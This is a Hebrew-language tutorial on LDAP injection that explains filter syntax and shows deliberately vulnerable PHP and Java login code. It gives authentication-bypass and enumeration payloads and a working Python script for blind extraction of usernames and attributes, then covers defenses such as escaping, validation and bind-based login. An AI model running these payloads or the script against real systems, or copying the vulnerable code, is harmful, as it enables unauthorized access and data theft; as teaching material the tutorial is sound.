לדלג לתוכן

הזרקת LDAP

מבוא

LDAP (Lightweight Directory Access Protocol) הוא פרוטוקול לגישה ולניהול של שירותי ספרייה (Directory Services). הוא נפוץ מאוד בארגונים לניהול משתמשים, הרשאות, ואימות - בעיקר דרך Active Directory של Microsoft.

הזרקת LDAP מתרחשת כאשר קלט המשתמש משולב ישירות בשאילתת LDAP ללא סינון מתאים. התוצאה יכולה להיות עקיפת אותנטיקציה, חשיפת מידע, או שינוי הרשאות.


רקע - מבנה LDAP

מבנה הספרייה

dc=company,dc=com
    |
    +-- ou=People
    |       |
    |       +-- cn=John Smith
    |       +-- cn=Jane Doe
    |
    +-- ou=Groups
    |       |
    |       +-- cn=Admins
    |       +-- cn=Developers
    |
    +-- ou=Computers

תחביר פילטרים ב-LDAP

# פילטר בסיסי - שוויון
(cn=John Smith)

# פילטר AND - וגם
(&(objectClass=user)(cn=John Smith))

# פילטר OR - או
(|(cn=John)(cn=Jane))

# פילטר NOT - שלילה
(!(cn=John))

# Wildcard - תו כללי
(cn=J*)

# פילטר מורכב - אותנטיקציה
(&(uid=john)(userPassword=secret123))

תווים מיוחדים ב-LDAP

*    - Wildcard (תו כללי)
(    - פתיחת סוגריים
)    - סגירת סוגריים
\    - Escape character
NUL  - תו null
/    - סלאש

הזרקת LDAP באותנטיקציה

קוד פגיע ב-PHP

<?php
$ldap = ldap_connect("ldap://ldap.company.com");
$username = $_POST['username'];
$password = $_POST['password'];

// פגיע! הקלט מוכנס ישירות לפילטר
$filter = "(&(uid=$username)(userPassword=$password))";

$result = ldap_search($ldap, "ou=People,dc=company,dc=com", $filter);
$entries = ldap_get_entries($ldap, $result);

if ($entries['count'] > 0) {
    echo "Login successful!";
    $_SESSION['user'] = $entries[0]['cn'][0];
} else {
    echo "Invalid credentials";
}
?>

תקיפה - עקיפת אותנטיקציה

# הזנה בשדה username:
*

# הפילטר הופך ל:
(&(uid=*)(userPassword=anything))
# מחזיר את כל המשתמשים - אבל הסיסמה שגויה

# הזנה בשדה username (עקיפה מלאה):
admin)(&)

# הפילטר הופך ל:
(&(uid=admin)(&))(userPassword=anything))
# החלק (&) תמיד מחזיר true
# והחלק (userPassword=anything) מתעלם

# הזנה בשדה username:
*)(uid=*))(|(uid=*

# הפילטר הופך ל:
(&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))
# מחזיר את כל המשתמשים

עקיפה עם תו NULL

# הזנה בשדה username:
admin)%00

# הפילטר הופך ל:
(&(uid=admin)\0)(userPassword=anything))
# ה-null byte חותך את שאר הפילטר
# תלוי במימוש - עובד בחלק מהספריות

הזרקה מבוססת OR

# פילטר מקורי
(uid=$input)

# הזנת קלט:
*)(|(objectClass=*

# הפילטר הופך ל:
(uid=*)(|(objectClass=*))
# מחזיר את כל האובייקטים בספרייה

חשיפת מידע עם OR

# הזנה שמחזירה את כל האובייקטים מכל הסוגים
*)(objectClass=*

# הפילטר הופך ל:
(uid=*)(objectClass=*)
# מחזיר כל דבר שקיים בספרייה

הזרקת LDAP עיוורת - Blind LDAP Injection

כאשר התגובה היא רק הצלחה/כישלון, אפשר לחלץ מידע תו אחר תו באמצעות wildcards:

חילוץ שמות משתמשים

# בדיקה: האם יש משתמש שמתחיל ב-a?
(&(uid=a*)(objectClass=*))

# בדיקה: האם יש משתמש שמתחיל ב-ad?
(&(uid=ad*)(objectClass=*))

# בדיקה: האם יש משתמש שמתחיל ב-adm?
(&(uid=adm*)(objectClass=*))

# ממשיכים עד שמוצאים: admin

סקריפט אוטומטי לחילוץ

import requests
import string

url = "http://target.com/login"
charset = string.ascii_lowercase + string.digits + "_-."

def test_query(prefix):
    """בודק אם הפילטר מחזיר תוצאות"""
    data = {
        "username": f"{prefix}*",
        "password": "anything"
    }
    response = requests.post(url, data=data)
    return "Welcome" in response.text or "success" in response.text.lower()

# חילוץ שם משתמש
def extract_username():
    username = ""
    while True:
        found = False
        for char in charset:
            if test_query(username + char):
                username += char
                found = True
                print(f"[+] Username so far: {username}")
                break
        if not found:
            break
    return username

# חילוץ ערך של תכונה ספציפית
def extract_attribute(username, attribute):
    """מחלץ ערך של תכונה באמצעות blind injection"""
    value = ""
    while True:
        found = False
        for char in charset:
            # payload: admin)(telephoneNumber=VALUE*
            payload = f"{username})({attribute}={value}{char}*"
            data = {
                "username": payload,
                "password": "anything"
            }
            response = requests.post(url, data=data)
            if "Welcome" in response.text:
                value += char
                found = True
                print(f"[+] {attribute}: {value}")
                break
        if not found:
            break
    return value

username = extract_username()
print(f"[+] Found username: {username}")

# חילוץ מספר טלפון, מייל, תיאור וכו'
phone = extract_attribute(username, "telephoneNumber")
email = extract_attribute(username, "mail")

הזרקת LDAP ב-Java

קוד פגיע

import javax.naming.*;
import javax.naming.directory.*;

public class LDAPAuth {

    public boolean authenticate(String username, String password) {
        try {
            Hashtable<String, String> env = new Hashtable<>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
            env.put(Context.PROVIDER_URL, "ldap://ldap.company.com:389");

            DirContext ctx = new InitialDirContext(env);

            // פגיע! בניית פילטר עם שרשור מחרוזות
            String filter = "(&(uid=" + username + ")(userPassword=" + password + "))";

            SearchControls controls = new SearchControls();
            controls.setSearchScope(SearchControls.SUBTREE_SCOPE);

            NamingEnumeration<SearchResult> results =
                ctx.search("ou=People,dc=company,dc=com", filter, controls);

            return results.hasMore();

        } catch (NamingException e) {
            return false;
        }
    }
}

קוד מתוקן

public boolean authenticateSafe(String username, String password) {
    try {
        // שלב 1 - ולידציה על הקלט
        if (!username.matches("[a-zA-Z0-9._-]+")) {
            return false;
        }

        // שלב 2 - escaping של תווים מיוחדים
        String safeUsername = escapeLDAPFilter(username);

        // שלב 3 - חיפוש המשתמש
        String filter = "(&(uid=" + safeUsername + ")(objectClass=person))";

        // שלב 4 - אימות באמצעות LDAP bind (לא השוואת סיסמה בפילטר)
        // זו הדרך הנכונה - לבצע bind עם פרטי המשתמש
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://ldap.company.com:389");
        env.put(Context.SECURITY_AUTHENTICATION, "simple");
        env.put(Context.SECURITY_PRINCIPAL, "uid=" + safeUsername + ",ou=People,dc=company,dc=com");
        env.put(Context.SECURITY_CREDENTIALS, password);

        DirContext ctx = new InitialDirContext(env);
        ctx.close();
        return true;

    } catch (AuthenticationException e) {
        return false;
    } catch (NamingException e) {
        return false;
    }
}

private String escapeLDAPFilter(String input) {
    StringBuilder sb = new StringBuilder();
    for (char c : input.toCharArray()) {
        switch (c) {
            case '\\': sb.append("\\5c"); break;
            case '*':  sb.append("\\2a"); break;
            case '(':  sb.append("\\28"); break;
            case ')':  sb.append("\\29"); break;
            case '\0': sb.append("\\00"); break;
            default:   sb.append(c);
        }
    }
    return sb.toString();
}

חילוץ נתונים מ-LDAP

גילוי תכונות קיימות

# בדיקה אם תכונה קיימת למשתמש
admin)(telephoneNumber=*    # האם יש מספר טלפון?
admin)(mail=*               # האם יש אימייל?
admin)(description=*        # האם יש תיאור?
admin)(userPassword=*       # האם יש סיסמה?
admin)(memberOf=*           # האם חבר בקבוצות?

גילוי קבוצות

# בדיקה באיזו קבוצה המשתמש
admin)(memberOf=cn=A*       # קבוצה שמתחילה ב-A?
admin)(memberOf=cn=Ad*      # קבוצה שמתחילה ב-Ad?
admin)(memberOf=cn=Admin*   # קבוצה Admins?

הזרקת LDAP מתקדמת - שינוי הרשאות

במקרים נדירים, אם הגישה ל-LDAP היא עם הרשאות כתיבה:

# שינוי תכונות דרך LDAP injection
# payload בשדה username:
admin)(|(description=hacked

# אם יש גישה ל-modify operations
# אפשר לשנות קבוצות, תיאורים, או אפילו סיסמאות

הגנה מפני הזרקת LDAP

1. סינון תווים מיוחדים - Escaping

<?php
function ldap_escape_filter($input) {
    $metaChars = array(
        '\\' => '\5c',
        '*'  => '\2a',
        '('  => '\28',
        ')'  => '\29',
        "\x00" => '\00',
    );
    return str_replace(array_keys($metaChars), array_values($metaChars), $input);
}

// שימוש
$safe_username = ldap_escape_filter($_POST['username']);
$filter = "(&(uid=$safe_username)(objectClass=person))";
?>

2. ולידציה על הקלט

<?php
// רשימה לבנה של תווים מותרים
if (!preg_match('/^[a-zA-Z0-9._@-]+$/', $username)) {
    die("Invalid username format");
}
?>

3. אימות עם LDAP Bind

<?php
// במקום לבדוק סיסמה בפילטר - לבצע bind
$ldap = ldap_connect("ldap://ldap.company.com");

// חיפוש המשתמש קודם (עם escaping)
$safe_user = ldap_escape_filter($username);
$result = ldap_search($ldap, "ou=People,dc=company,dc=com", "(uid=$safe_user)");
$entries = ldap_get_entries($ldap, $result);

if ($entries['count'] == 1) {
    $user_dn = $entries[0]['dn'];
    // ניסיון bind עם ה-DN והסיסמה
    if (@ldap_bind($ldap, $user_dn, $password)) {
        echo "Login successful!";
    }
}
?>

4. שימוש בספריות פרמטריות

# Python עם python-ldap
import ldap

conn = ldap.initialize('ldap://ldap.company.com')

# שימוש ב-ldap.filter.escape_filter_chars
from ldap.filter import escape_filter_chars

safe_username = escape_filter_chars(username)
filter_str = f"(&(uid={safe_username})(objectClass=person))"

results = conn.search_s("ou=People,dc=company,dc=com", ldap.SCOPE_SUBTREE, filter_str)

סיכום

הזרקת LDAP פחות נפוצה מ-SQLi אבל עדיין מסוכנת, במיוחד בסביבות ארגוניות שמשתמשות ב-Active Directory. נקודות המפתח:

  • הפילטרים של LDAP משתמשים בתחביר מיוחד עם סוגריים ואופרטורים
  • Wildcards (*) מאפשרים חילוץ מידע תו אחר תו
  • תו ה-NULL יכול לחתוך את שאר הפילטר בחלק מהמימושים
  • ההגנה הטובה ביותר היא שילוב של escaping, ולידציה, ושימוש ב-LDAP bind לאימות
  • לעולם לא לשים סיסמה בתוך הפילטר - להשתמש ב-bind במקום